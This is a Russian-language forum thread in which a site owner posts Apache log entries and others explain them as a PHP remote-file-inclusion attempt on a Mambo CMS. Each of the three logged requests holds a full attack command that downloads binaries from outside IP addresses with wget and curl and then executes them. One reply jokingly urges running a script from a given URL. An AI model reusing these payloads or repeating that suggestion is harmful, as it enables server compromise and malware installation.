Объясните логи апач сервера
 

Обнаружил у себя в логах такие вот записи

24.20.104.181 - - [03/Apr/2006:20:46:46 +0400] "GET /index2.php?option=com_content&do_pdf=1&id=1index2. php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://69.17.157.154/cmd.txt?&cmd=cd%20/tmp;wget%2070.168.74.193/strange;chmod%20744%20strange;./strange;cd%20/var/tmp;curl%20-o%20arts%20http://207.90.211.54/arts;chmod%20744%20arts;./arts;echo%20YYY;echo| HTTP/1.1" 404 296

24.20.104.181 - - [03/Apr/2006:20:46:48 +0400] "GET /index.php?option=com_content&do_pdf=1&id=1index2.p hp?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://69.17.157.154/cmd.txt?&cmd=cd%20/tmp;wget%2070.168.74.193/strange;chmod%20744%20strange;./strange;cd%20/var/tmp;curl%20-o%20arts%20http://207.90.211.54/arts;chmod%20744%20arts;./arts;echo%20YYY;echo| HTTP/1.1" 200 42194

24.20.104.181 - - [03/Apr/2006:20:46:50 +0400] "GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://69.17.157.154/cmd.txt?&cmd=cd%20/tmp;wget%2070.168.74.193/strange;chmod%20744%20strange;./strange;cd%20/var/tmp;curl%20-o%20arts%20http://207.90.211.54/arts;chmod%20744%20arts;./arts;echo%20YYY;echo| HTTP/1.1" 404 302

объсните что пытались сделать?

пытались ломануть =)

Пытались выполнить команды и залить шелл. Это php инклудинг!

лол, самому сложно понять, что пытались сделать?

пытались поломать твою мамбу с помощью php инклуда
1 и 3 страница не существует, на второй не работает адреса загрузки

Это новая фишка в apache. Называется "вселенский разум". Теперь apache сам скачивает то что ему надо и откуда над.
Это как-раз видно по логам, wget фигурирует.


зы
тебя похачили.

пытались залить тебе сплойт

Помоги ребятам, запусти этот файлик _http://72.34.42.241/~dancing/bash :))

У тебя мамба целая?
А то её собирались ломнуть.

сколько человек еще скажет, что его пытались ломануть?
делаем ставки господа!